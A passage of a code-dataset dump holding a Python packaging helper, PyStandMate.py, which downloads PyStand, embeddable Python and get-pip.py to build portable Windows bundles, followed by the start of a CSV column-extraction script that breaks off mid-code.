"PyQt5.QtWidgets.QMainWindow.__init__", "line_number": 232, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 232, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 236, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 242, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 246, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QGridLayout", "line_number": 247, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 250, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getOpenFileName", "line_number": 260, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 260, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 279, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 279, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 291, "usage_type": "attribute"}]} {"seq_id": "22294017330", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# Usage:\n# PyStandMate.py --help\n# PyStandMate.py --response-file PyStandMate.rsp\n# PyStandMate.py --bitness 32 --compiler MSVC --python-version 3.8.10 --console\n# PyStandMate.py --compiler MSVC --python-version 3.8.10 --package PyQt5 --pip-index-url https://pypi.doubanio.com/simple\n# PyStandMate.py --bitness 64 --compiler MSVC --python-version 3.8.10 --package PyQt5 --pip-index-url https://pypi.doubanio.com/simple\n# PyStandMate.py --bitness 64 --compiler MSVC --python-version 3.10.0 --package PyQt6 --pip-index-url https://pypi.doubanio.com/simple\n\nimport argparse\nimport collections\nimport os\nfrom pathlib import Path\nfrom pprint import pprint\nimport re\nimport shutil\nimport subprocess\nimport sys\nimport urllib.parse\nimport urllib.request\nimport zipfile\n\n\nEmbedPython = collections.namedtuple(\"EmbedPython\", [\"url\", \"filename\"])\n\nDOWNLOAD_DIR = \"download\"\nBUILD_DIR = \"build\"\nPUBLISH_DIR = \"publish\"\n\nDEFAULT_USER_AGENT = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8\"\n\n\nclass LoadFromFile(argparse.Action):\n def __call__(self, parser, namespace, values, option_string=None):\n with values as f:\n # parse arguments in the file and store them in the target namespace\n parser.parse_args(f.read().split(), namespace)\n\n\ndef fetch_page(url, encoding=\"utf-8\"):\n request = urllib.request.Request(url, headers={\"User-Agent\": DEFAULT_USER_AGENT})\n response = urllib.request.urlopen(request)\n\n if encoding:\n charset = response.headers.get_content_charset(failobj=encoding)\n for line in response:\n yield line.decode(charset)\n else:\n yield from response\n\n\ndef fetch_page_contents(url, encoding=\"utf-8\"):\n return \"\".join(fetch_page(url, encoding))\n\n\ndef find_urls(s):\n return re.findall(r'href=[\\'\"]?([^\\'\" >]+)', s)\n\n\ndef download_pystand(version, target_dir):\n if version.startswith(\"v\") or version.startswith(\"V\"):\n version = version[1:]\n\n filename = f\"PyStand-v{version}-exe.zip\"\n pystand_path = target_dir / filename\n\n if not pystand_path.is_file():\n if not target_dir.is_dir():\n print(f\"Create directory {target_dir}...\")\n target_dir.mkdir()\n\n dload_url = f\"https://github.com/skywind3000/PyStand/releases/download/{version}/{filename}\"\n print(f\"Download {dload_url} -> {filename}...\")\n urllib.request.urlretrieve(dload_url, pystand_path)\n\n return pystand_path\n\n\ndef get_pystand_subdir(compiler, bitness, is_console):\n subsystem = \"CLI\" if is_console else \"GUI\"\n\n if compiler == \"MSVC\":\n arch = \"Win32\" if bitness == 32 else \"x64\"\n else:\n arch = \"mingw32\" if bitness == 32 else \"mingw64\"\n\n return f\"PyStand-{arch}-{subsystem}\"\n\n\ndef get_pystand_publish_subdir(version, compiler, bitness, is_console):\n if version.startswith(\"v\") or version.startswith(\"V\"):\n version = version[1:]\n\n subdir = get_pystand_subdir(compiler, bitness, is_console)\n subdir = subdir.replace(\"PyStand\", f\"PyStand-v{version}\")\n\n return subdir\n\n\ndef get_embed_python_versions():\n page_contents = fetch_page_contents(\"https://www.python.org/downloads/windows/\")\n dload_urls = find_urls(page_contents)\n\n result = collections.OrderedDict()\n\n for url in dload_urls:\n url_parts = urllib.parse.urlparse(url)\n if Path(url_parts.path).match(\"*embed*.zip\"):\n version = url_parts.path.split(\"-\")[1]\n embed_python = EmbedPython(url, Path(url_parts.path).name)\n if not version in result:\n result[version] = [embed_python]\n else:\n result[version].append(embed_python)\n\n return result\n\n\ndef download_embed_python(version, bitness, target_dir):\n arch = \"win32\" if bitness == 32 else \"amd64\"\n filename = f\"python-{version}-embed-{arch}.zip\"\n embed_python_path = target_dir / filename\n\n if not embed_python_path.is_file():\n print(f\"{filename} doesn't exist, will download it first.\")\n\n print(\"Get available Windows embeddable Python packages...\")\n embed_python_versions = get_embed_python_versions()\n\n if version not in embed_python_versions:\n print(f\"Couldn't find embeddable Python package of version {version}.\")\n print(\"Available versions:\")\n pprint(tuple(embed_python_versions.keys()))\n sys.exit(1)\n\n if not target_dir.is_dir():\n print(f\"Create directory {target_dir}...\")\n target_dir.mkdir()\n\n embed_python_list = embed_python_versions[version]\n for embed_python in embed_python_list:\n if arch in embed_python.filename:\n print(f\"Download {embed_python.url} -> {embed_python.filename}...\")\n urllib.request.urlretrieve(embed_python.url, embed_python_path)\n break\n\n if not embed_python_path.is_file():\n print(f\"Couldn't find a suitable version of embeddable Python.\")\n sys.exit(2)\n\n return embed_python_path\n\n\ndef install_pip(embed_python_dir, get_pip_path):\n pth_files = tuple(embed_python_dir.glob(\"*._pth\"))\n if pth_files:\n if len(pth_files) != 1:\n print(\"There are more than one ._pth files:\")\n pprint(pth_files)\n sys.exit(3)\n\n pth_file = pth_files[0]\n\n print(\"Uncomment import site...\")\n\n with open(pth_file, \"r\") as fp:\n pth_file_content = fp.read()\n\n pth_file_content = pth_file_content.replace(\"#import site\", \"import site\")\n with open(pth_file, \"w\") as fp:\n fp.write(pth_file_content)\n\n print(\"Install pip...\")\n python = embed_python_dir / \"python.exe\"\n # subprocess.run([python, get_pip_path])\n subprocess.run([\"cmd\", \"/C\", python, get_pip_path], check=True)\n\n\ndef install_package(embed_python_dir, package, pip_index_url):\n python = embed_python_dir / \"python.exe\"\n\n args = [\"cmd\", \"/C\", python, \"-m\", \"pip\", \"install\", package]\n if pip_index_url:\n args.extend([\"-i\", pip_index_url])\n\n subprocess.run(args, check=True)\n\n\ndef install_requirements(embed_python_dir, requirements_file, pip_index_url):\n python = embed_python_dir / \"python.exe\"\n\n args = [\"cmd\", \"/C\", python, \"-m\", \"pip\", \"install\", \"-r\", requirements_file]\n if pip_index_url:\n args.extend([\"-i\", pip_index_url])\n\n subprocess.run(args, check=True)\n\n\ndef install_packages(embed_python_dir, packages, pip_index_url):\n for package in packages:\n if \"requirements.txt\" in Path(package).name:\n install_requirements(embed_python_dir, package, pip_index_url)\n else:\n install_package(embed_python_dir, package, pip_index_url)\n\n\ndef main():\n script_path = Path(sys.argv[0])\n script_dir = script_path.parent\n\n parser = argparse.ArgumentParser(\n prog=script_path.stem,\n description=\"PyStand packaging mate.\",\n )\n\n parser.add_argument(\"--pystand-version\", default=\"1.0.11\", help=\"PyStand version\")\n parser.add_argument(\n \"--bitness\", type=int, choices=(32, 64), default=32, help=\"Bitness\"\n )\n parser.add_argument(\n \"--compiler\", choices=(\"MSVC\", \"GCC\"), default=\"MSVC\", help=\"Compiler\"\n )\n parser.add_argument(\n \"--console\", action=\"store_true\", help=\"Use PyStand CLI instead of GUI\"\n )\n parser.add_argument(\n \"--pystand-int\", default=\"PyStand.int\", help=\"PyStand.int script\"\n )\n parser.add_argument(\"--python-version\", default=\"3.8.10\", help=\"Python version\")\n parser.add_argument(\n \"--package\", nargs=\"+\", help=\"A list of 3rd-party packages to be installed\"\n )\n parser.add_argument(\n \"--pip-index-url\",\n help=\"Base url of Python package index\",\n )\n parser.add_argument(\n \"--response-file\",\n type=open,\n action=LoadFromFile,\n help=\"Read options stored in a response file\",\n )\n\n args = parser.parse_args()\n\n # 1. Download PyStand\n pystand_path = download_pystand(args.pystand_version, script_dir / DOWNLOAD_DIR)\n\n # 2. Extract PyStand\n pystand_dir = script_dir / BUILD_DIR / pystand_path.stem\n print(f\"Extract {pystand_path.name} -> {pystand_dir.name}...\")\n with zipfile.ZipFile(pystand_path, \"r\") as zip_ref:\n zip_ref.extractall(pystand_dir)\n\n # 3. Download Python\n embed_python_path = download_embed_python(\n args.python_version, args.bitness, script_dir / DOWNLOAD_DIR\n )\n\n # 4. Extract Python\n embed_python_dir = script_dir / BUILD_DIR / embed_python_path.stem\n if embed_python_dir.is_dir():\n print(\"Remove build directory...\")\n shutil.rmtree(embed_python_dir)\n print(f\"Extract {embed_python_path.name} -> {embed_python_dir.name}...\")\n with zipfile.ZipFile(embed_python_path, \"r\") as zip_ref:\n zip_ref.extractall(embed_python_dir)\n\n # 5. Put together\n pystand_publish_subdir = get_pystand_publish_subdir(\n args.pystand_version, args.compiler, args.bitness, args.console\n )\n pystand_publish_dir = script_dir / PUBLISH_DIR / pystand_publish_subdir\n if pystand_publish_dir.is_dir():\n print(f\"Remove publish directory...\")\n shutil.rmtree(pystand_publish_dir)\n if not pystand_publish_dir.is_dir():\n print(f\"Create directory {PUBLISH_DIR}{os.sep}{pystand_publish_subdir}...\")\n pystand_publish_dir.mkdir(parents=True)\n # 5.1 Copy PyStand\n pystand_subdir = get_pystand_subdir(args.compiler, args.bitness, args.console)\n pystand_src_path = pystand_dir / pystand_subdir / \"PyStand.exe\"\n pystand_dst_path = pystand_publish_dir / \"PyStand.exe\"\n print(f\"Copy PyStand...\")\n shutil.copy2(pystand_src_path, pystand_dst_path)\n # 5.2 Copy Python\n print(f\"Copy Python...\")\n runtime_dir = pystand_publish_dir / \"runtime\"\n shutil.copytree(embed_python_dir, runtime_dir, dirs_exist_ok=True)\n # 5.3 Copy PyStand.int\n pystand_int_path = Path(args.pystand_int)\n if pystand_int_path.is_file():\n print(f\"Copy {pystand_int_path.name} -> PyStand.int...\")\n shutil.copy2(pystand_int_path, pystand_publish_dir / \"PyStand.int\")\n else:\n print(f\"{pystand_int_path} is not a regular file.\")\n\n if not args.package:\n sys.exit(0)\n\n # 6. Download & install pip\n get_pip_path = script_dir / DOWNLOAD_DIR / \"get-pip.py\"\n if not get_pip_path.is_file():\n print(\"Download get-pip.py...\")\n urllib.request.urlretrieve(\"https://bootstrap.pypa.io/get-pip.py\", get_pip_path)\n\n target_get_pip_path = embed_python_dir / \"get-pip.py\"\n shutil.copyfile(get_pip_path, target_get_pip_path)\n install_pip(embed_python_dir, target_get_pip_path)\n\n # 7. Memorize files and directories that are created by installing pip and setuptools.\n pip_facilities = [target_get_pip_path]\n site_packages_dir = embed_python_dir / \"Lib\" / \"site-packages\"\n scripts_dir = embed_python_dir / \"Scripts\"\n pip_facilities.extend(tuple(site_packages_dir.iterdir()))\n pip_facilities.extend(tuple(scripts_dir.iterdir()))\n # pprint(pip_facilities)\n\n # 8. Install packages\n print(\"Install packages...\")\n install_packages(embed_python_dir, args.package, args.pip_index_url)\n\n # 9. Remove pip and setuptools.\n print(\"Remove pip and setuptools...\")\n for facility in pip_facilities:\n if facility.is_file():\n print(f\"Remove file {facility.name}...\")\n facility.unlink(missing_ok=True)\n elif facility.is_dir():\n print(f\"Remove directory {facility.name}...\")\n shutil.rmtree(facility)\n\n # 10. Copy site-packages.\n if site_packages_dir.is_dir():\n # Remove .dist-info folders.\n for dist_info_dir in site_packages_dir.glob(\"*.dist-info\"):\n if dist_info_dir.is_dir():\n print(f\"Remove directory {dist_info_dir.name}...\")\n shutil.rmtree(dist_info_dir)\n\n print(\"Copy installed packages...\")\n shutil.copytree(\n site_packages_dir, pystand_publish_dir / \"site-packages\", dirs_exist_ok=True\n )\n\n\nif __name__ == \"__main__\":\n main()\n\n\n# Format code:\n# pip install black\n# black PyStandMate.py\n\n# References:\n# [Regular expression to extract URL from an HTML link](https://stackoverflow.com/questions/499345/regular-expression-to-extract-url-from-an-html-link)\n# [Unzipping files in Python](https://stackoverflow.com/questions/3451111/unzipping-files-in-python)\n# https://gist.github.com/myd7349/9f7c6334e67d1aee68a722a15df4a62a\n# [Replace string within file contents](https://stackoverflow.com/questions/4128144/replace-string-within-file-contents)\n# https://docs.python.org/3.11/library/pathlib.html\n# [Could not find a version that satisfies the requirement setuptools](https://github.com/pypa/pip/issues/7730)\n# [How to run a pip install command from a subproces.run()](https://stackoverflow.com/questions/69345839/how-to-run-a-pip-install-command-from-a-subproces-run)\n# [How can I Install a Python module within code?](https://stackoverflow.com/questions/12332975/how-can-i-install-a-python-module-within-code)\n# [How to run `pip` in a virtualenv with subprocess.check_call()?](https://stackoverflow.com/questions/28574058/how-to-run-pip-in-a-virtualenv-with-subprocess-check-call)\n# [Python: Platform independent way to modify PATH environment variable](https://stackoverflow.com/questions/1681208/python-platform-independent-way-to-modify-path-environment-variable)\n# [Check if Python Package is installed](https://stackoverflow.com/questions/1051254/check-if-python-package-is-installed)\n# [how to get argparse to read arguments from a file with an option rather than prefix](https://stackoverflow.com/questions/27433316/how-to-get-argparse-to-read-arguments-from-a-file-with-an-option-rather-than-pre)\n# [Find default pip index-url](https://stackoverflow.com/questions/50100576/find-default-pip-index-url)\n# [pyqt5 安装 sipbuild](https://www.cnblogs.com/hany-postq473111315/p/15402473.html)\n# [[PyQt] Building PyQt from source with sip v5](https://www.riverbankcomputing.com/pipermail/pyqt/2019-October/042281.html)\n\n# Issues:\n# 1. PyStandMate.py --package parse\n# 2. PyStandMate.py --bitness 32 --compiler MSVC --package PyQt6 --pip-index-url https://pypi.tuna.tsinghua.edu.cn/simple\n# > ModuleNotFoundError: No module named 'sipbuild'\n# 3. PyStandMate.py --bitness 32 --compiler MSVC --package sip PyQt6 --pip-index-url https://pypi.tuna.tsinghua.edu.cn/simple\n# > ModuleNotFoundError: No module named 'pyqtbuild'\n# 4. PyStandMate.py --bitness 32 --compiler MSVC --package sip pyqt-builder PyQt6 --pip-index-url https://pypi.tuna.tsinghua.edu.cn/simple\n", "repo_name": "myd7349/PyStandMate", "sub_path": "PyStandMate.py", "file_name": "PyStandMate.py", "file_ext": "py", "file_size_in_byte": 14683, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.namedtuple", "line_number": 26, "usage_type": "call"}, {"api_name": "argparse.Action", "line_number": 35, "usage_type": "attribute"}, {"api_name": "urllib.parse.request.Request", "line_number": 43, "usage_type": "call"}, {"api_name": "urllib.parse.request", "line_number": 43, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 43, "usage_type": "name"}, {"api_name": "urllib.parse.request.urlopen", "line_number": 44, "usage_type": "call"}, {"api_name": "urllib.parse.request", "line_number": 44, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 44, "usage_type": "name"}, {"api_name": "re.findall", "line_number": 59, "usage_type": "call"}, {"api_name": "urllib.parse.request.urlretrieve", "line_number": 76, "usage_type": "call"}, {"api_name": "urllib.parse.request", "line_number": 76, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 76, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 106, "usage_type": "call"}, {"api_name": "urllib.parse.parse.urlparse", "line_number": 109, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 109, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 109, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 110, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 112, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 135, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 136, "usage_type": "call"}, {"api_name": "urllib.parse.request.urlretrieve", "line_number": 146, "usage_type": "call"}, {"api_name": "urllib.parse.request", "line_number": 146, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 146, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 151, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 161, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 162, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 178, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 188, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 198, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 203, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 210, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 210, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 213, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 254, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 266, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 268, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 278, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 280, "usage_type": "attribute"}, {"api_name": "shutil.copy2", "line_number": 287, "usage_type": "call"}, {"api_name": "shutil.copytree", "line_number": 291, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 293, "usage_type": "call"}, {"api_name": "shutil.copy2", "line_number": 296, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 301, "usage_type": "call"}, {"api_name": "urllib.parse.request.urlretrieve", "line_number": 307, "usage_type": "call"}, {"api_name": "urllib.parse.request", "line_number": 307, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 307, "usage_type": "name"}, {"api_name": "shutil.copyfile", "line_number": 310, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 333, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 341, "usage_type": "call"}, {"api_name": "shutil.copytree", "line_number": 344, "usage_type": "call"}]} {"seq_id": "17092275365", "text": "#!/usr/bin/env python\n\n# pylint: disable=line-too-long, invalid-name, pointless-string-statement\n\n'''\nScript to extract a subset of columns from a csv file\n\n\nSYNOPSIS\n$ python csvExtract.py\n [-f|--fileName] [-d|--delimiter=delmiter] [-N|--noHeader]\n [-u|--uniqueRows] [-s|--suppressHeaderFooter]\n [-c configSection|--configSection=configSection]\n [-v loggingLevel|--verbose=logingLevel] [-o logfile|--logfile=logfile]\n [csvFile [extractFile]]\n\nREQUIRED\ncsvFile\nThe CSV csv file to be read. Required if an extractFile is specified.\n\nextractFile\nThe output CSV extract file to be created\n\n\nOPTIONS\n-f|--fileName\nPrepend the csvFilename to the extracted columns\n\n-d|--delimiter=delimiter\nUse the delimiter as the delimiter character if the input delimter cannot be automatically determined\n\n-N|--noHeader\nThere is no Header in the file. The header will be defined in the config section.\n\n-u|--uniqueRows\nOnly output one instance of each row\n\n-s|--suppressHeaderFooter\nDo not output header record or footer record (if there is one)\n\n-c configSection|--configSection=configSection\nGet wantedColumns from specific config section (default=wanted_columns)\n\n-v loggingLevel|--verbose=loggingLevel\nSet the level of logging that you want (defaut INFO).\n\n-o logfile|--logfile=logfile\nThe name of a logging file where you want all messages captured.\n'''\n\n\n# Import all the modules that make life easy\nimport sys\nimport csv\nimport copy\nimport argparse\nimport logging\nfrom configparser import ConfigParser as ConfParser\nfrom configparser import MissingSectionHeaderError, NoSectionError, NoOptionError, ParsingError\nimport re\nimport datetime\nimport random\n\n\n# This next section is plagurised from /usr/include/sysexits.h\nEX_OK = 0 # successful termination\nEX_WARN = 1 # non-fatal termination with warnings\n\nEX_USAGE = 64 # command line usage error\nEX_DATAERR = 65 # data format error\nEX_NOINPUT = 66 # cannot open input\nEX_NOUSER = 67 # addressee unknown\nEX_NOHOST = 68 # host name unknown\nEX_UNAVAILABLE = 69 # service unavailable\nEX_SOFTWARE = 70 # internal software error\nEX_OSERR = 71 # system error (e.g., can't fork)\nEX_OSFILE = 72 # critical OS file missing\nEX_CANTCREAT = 73 # can't create (user) output file\nEX_IOERR = 74 # input/output error\nEX_TEMPFAIL = 75 # temp failure; user is invited to retry\nEX_PROTOCOL = 76 # remote error in protocol\nEX_NOPERM = 77 # permission denied\nEX_CONFIG = 78 # configuration error\n\n\ndef parseHeader(topRow, wantedCols, paramCols, thisFile, thisFilename):\n '''\nParse the first line of the file and check that all required columns are present\n '''\n\n thisInputHas = {}\n for ii, thisHeader in enumerate(topRow):\n if thisHeader not in thisInputHas:\n thisInputHas[thisHeader] = ii\n\n # Compute the header filename\n newFilename = None\n if thisFilename:\n if ('filename' not in inputHas) or ('filename' not in wantedCols):\n newFilename = 'filename'\n else:\n for letter in range(ord('a'), ord('z')):\n newFilename = 'filename_' + chr(letter)\n if (newFilename not in thisInputHas) or (newFilename not in wantedCols):\n break\n else:\n logging.fatal('Input csv file(%s) already has 25 prepended filenames', thisFile)\n return (None, None, None)\n\n # Check that every wanted column is in the csv file\n for ii, thisColumn in enumerate(wantedCols):\n if (thisColumn not in thisInputHas) and (thisColumn not in newColumns):\n if (thisFile is None) or (thisFile == '-'):\n logging.fatal('Wanted column(%s) not in input csv file(sys.stdin) and not in newColumns', thisColumn)\n else:\n logging.fatal('Wanted column(%s) not in input csv file(%s) and not in newColumns', thisColumn, thisFile)\n return (None, None, None)\n thisMax = 0\n for ii, thisColumn in enumerate(paramCols):\n if thisColumn not in thisInputHas:\n if (thisFile is None) or (thisFile == '-'):\n logging.fatal('Parameter column(%s) not in input csv file(sys.stdin)', thisColumn)\n else:\n logging.fatal('Parameter column(%s) not in input csv file(%s)', thisColumn, thisFile)\n return (None, None, None)\n if thisInputHas[thisColumn] > thisMax:\n thisMax = thisInputHas[thisColumn]\n return (thisInputHas, thisMax, newFilename)\n\n\n# The main code\nif __name__ == '__main__':\n '''\n The main code\n Parse the command line arguments and then read in the configuration file\n '''\n\n progName = sys.argv[0]\n progName = progName[0:-3] # Strip off the .py ending\n\n parser = argparse.ArgumentParser()\n parser.add_argument('csvFile', metavar='csvFile', nargs='?', default=None, help='The name of the CSV file')\n parser.add_argument('extractFile', metavar='extractFile', nargs='?', default=None, help='The name of the extract CSV file')\n parser.add_argument('-f', '--fileName', dest='fileName', action='store_true', help='Prepend filename to every row')\n parser.add_argument('-d', '--delimiter', dest='delimiter', default=',',\n help='Use the delimiter as the delimiter character if the input delimter cannot be automatically determined')\n parser.add_argument('-N', '--noHeader', dest='noHeader', action='store_true',\n help='There is no Header in the file. The header will be defined in the config section.')\n parser.add_argument('-u', '--uniqueRows', dest='uniqueRows', action='store_true', help='Only output one instance of each row')\n parser.add_argument('-s', '--suppressHeaderFooter', dest='suppressHeaderFooter', action='store_true',\n help='Do not output header and footer records')\n parser.add_argument('-c', '--configSection', dest='configSection', default='wanted_columns',\n help='Get wantedColumns from specific section (default=wanted_columns)')\n parser.add_argument('-v', '--verbose', dest='verbose', type=int, choices=list(range(0, 5)),\n help='The level of logging\\n\\t0=CRITICAL,1=ERROR,2=WARNING,3=INFO,4=DEBUG')\n parser.add_argument('-o', '--logfile', metavar='logfile', dest='logfile', help='The name of a logging file')\n\n # Parse the command line options\n args = parser.parse_args()\n csvFile = args.csvFile\n extractFile = args.extractFile\n fileName = args.fileName\n delimiter = args.delimiter\n noHeader = args.noHeader\n uniqueRows = args.uniqueRows\n suppressHeaderFooter = args.suppressHeaderFooter\n configSection = args.configSection\n\n # Set up logging\n logging_levels = {0: logging.CRITICAL, 1: logging.ERROR, 2: logging.WARNING, 3: logging.INFO, 4: logging.DEBUG}\n logfmt = progName + ' [%(asctime)s]: %(message)s'\n if args.verbose: # Change the logging level from \"WARN\" if the -v vebose option is specified\n loggingLevel = args.verbose\n if args.logfile: # and send it to a file if the -o logfile option is specified\n logging.basicConfig(format=logfmt, datefmt='%d/%m/%y %H:%M:%S %p',\n level=logging_levels[loggingLevel], filemode='w', filename=args.logfile)\n else:\n logging.basicConfig(format=logfmt, datefmt='%d/%m/%y %H:%M:%S %p', level=logging_levels[loggingLevel])\n else:\n if args.logfile: # send the default(WARN) logging to a file if the -o logfile option is specified\n logging.basicConfig(format=logfmt, datefmt='%d/%m/%y %H:%M:%S %p', filemode='w', filename=args.logfile)\n else:\n logging.basicConfig(format=logfmt, datefmt='%d/%m/%y %H:%M:%S %p')\n\n # Check we aren't adding stdin as a filename header\n if fileName: # 'filename' should be in the header\n if (csvFile is None) or (csvFile == '-'):\n logging.fatal('stdin does not have a filename to prepend')\n logging.shutdown()\n for line in sys.stdin: # Be nice - suck up the input\n pass\n sys.stdout.flush()\n sys.exit(EX_USAGE)\n\n # Then read in the csvExtract configuration file(csvExtract.cfg)\n config = ConfParser(allow_no_value=True)\n config.optionxform = str\n newColumns = {}\n wantedColumns = []\n paramColumns = []\n haveHeader = False\n headerLine = None\n try:\n config.read('csvExtract.cfg')\n # Now read in the wanted columns\n wanted = config.get(configSection, 'wantedColumns')\n for column in wanted.split(','):\n wantedColumns.append(column)\n if config.has_option(configSection, 'newColumns'):\n newCols = config.get(configSection, 'newColumns')\n theNewColumns = newCols.split('~')\n for i, column in enumerate(theNewColumns):\n columnDetails = column.split('=')\n if len(columnDetails) != 2:\n raise ParsingError('New column must be title=value/expression')\n newColumns[columnDetails[0]] = columnDetails[1]\n for thisParam in re.finditer(r'\\$\\{([^}]+)\\}', columnDetails[1]):\n paramColumns.append(thisParam.group(1))\n if noHeader:\n headerLine = config.get(configSection, 'header')\n haveHeader = True # headerLine from config file\n except(MissingSectionHeaderError, NoSectionError, NoOptionError, ParsingError) as detail:\n logging.critical('%s', detail)\n logging.shutdown()\n if (csvFile is None) or (csvFile == '-'):\n for line in sys.stdin: # Be nice - suck up the input\n pass\n sys.stdout.flush()\n sys.exit(EX_CONFIG)\n\n # Check that nobody has specified the input csv file as the extract output file\n if (csvFile is not None) and (csvFile == extractFile):\n logging.fatal('Cannot use the same filename for the input CSV file and the output CSV extract file')\n logging.shutdown()\n sys.stdout.flush()\n sys.exit(EX_USAGE)\n\n # Check that the input CSV file can be opened and read\n inputFile = None\n inputCSV = None\n if (csvFile is None) or (csvFile == '-'):\n try:\n sys.stdin.reconfigure(encoding='utf-8')\n inputFile = sys.stdin\n headerLine = inputFile.readline()\n haveHeader = True # headerLine from stdin\n inputDialect = csv.Sniffer().sniff(headerLine, delimiters=\",:;|\\t\")\n except csv.Error:\n inputDialect = csv.excel\n inputDialect.delimiter = delimiter\n inputDialect.doublequote = True\n inputDialect.quoting = csv.QUOTE_MINIMAL\n inputDialect.quotechar = '\"'\n except OSError:\n (exc_type, exc_value, exc_traceback) = sys.exc_info()\n logging.fatal('Cannot sniff csv input file(sys.stdin)')\n logging.fatal('Error: %s', exc_value)\n logging.shutdown()\n for line in sys.stdin: # Be nice - suck up the input\n pass\n sys.stdout.flush()\n sys.exit(EX_DATAERR)\n if inputDialect.quoting == csv.QUOTE_NONE:\n inputDialect.doublequote = True\n inputDialect.quoting = csv.QUOTE_MINIMAL\n inputDialect.quotechar = '\"'\n else:\n try:\n inputFile = open(csvFile, 'rt', encoding='utf-8')\n except OSError:\n (exc_type, exc_value, exc_traceback) = sys.exc_info()\n logging.fatal('Cannot open csv input file(%s)', csvFile)\n logging.fatal('Error: %s', exc_value)\n logging.shutdown()\n sys.stdout.flush()\n sys.exit(EX_NOINPUT)\n try:\n inputDialect = csv.Sniffer().sniff(inputFile.read(4096))\n inputFile.seek(0)\n except csv.Error:\n logging.warning('Could not sniff csv input file(%s) - csv.excel assumed', csvFile)\n inputDialect = csv.excel\n inputDialect.delimiter = delimiter\n inputDialect.doublequote = True\n inputDialect.quoting = csv.QUOTE_MINIMAL\n inputDialect.quotechar = '\"'\n inputFile.seek(0)\n except OSError:\n (exc_type, exc_value, exc_traceback) = sys.exc_info()\n logging.fatal('Cannot sniff csv input file(%s)', csvFile)\n logging.fatal('Error: %s', exc_value)\n logging.shutdown()\n sys.stdout.flush()\n sys.exit(EX_DATAERR)\n inputCSV = csv.reader(inputFile, inputDialect)\n\n # Check that the output CSV file can be opened and written\n outputFile = None\n outputCSV = None\n outputDialect = copy.deepcopy(inputDialect)\n outputDialect.doublequote = True\n outputDialect.quoting = csv.QUOTE_MINIMAL\n outputDialect.quotechar = '\"'\n if (extractFile is None) or (extractFile == '-'):\n outputDialect.lineterminator = '\\n'\n outputFile = sys.stdout\n sys.stdout.reconfigure(encoding='utf-8')\n else:\n try:\n outputFile = open(extractFile, 'wt', encoding='utf-8', newline='')\n except OSError:\n (exc_type, exc_value, exc_traceback) = sys.exc_info()\n logging.fatal('Cannot open extract output file(%s)', extractFile)\n logging.fatal('Error: %s', exc_value)\n logging.shutdown()\n if (csvFile is None) or (csvFile == '-'):\n for line in sys.stdin: # Be nice - suck up the input\n pass\n sys.stdout.flush()\n sys.exit(EX_CANTCREAT)\n outputCSV = csv.writer(outputFile, outputDialect)\n\n # Now read the input file\n rows = 0\n header = True\n inputHas = {} # The index of the column headings in the input file\n rowKeys = set()\n for inputRow in inputCSV:\n # Process the header line and output the heading\n if header:\n if haveHeader: # sys.stdin - we have the header\n headerDialect = copy.deepcopy(inputDialect)\n if noHeader:\n headerDialect = copy.deepcopy(csv.excel)\n for row in csv.reader([headerLine], dialect=headerDialect):\n headerRow = row\n break\n else:\n headerRow = inputRow[:]\n\n # Process the header row\n (inputHas, maxNew, headerFilename) = parseHeader(headerRow, wantedColumns, paramColumns, csvFile, fileName)\n if inputHas is None: # Configuration failure - we will just suckup the input\n if (csvFile is None) or (csvFile == '-'):\n header = False\n continue\n else:\n logging.shutdown()\n sys.stdout.flush()\n sys.exit(EX_CONFIG)\n\n # Output the heading\n if not suppressHeaderFooter:\n outputColumns = wantedColumns[:]\n try:\n if fileName:\n outputCSV.writerow([headerFilename] + outputColumns)\n 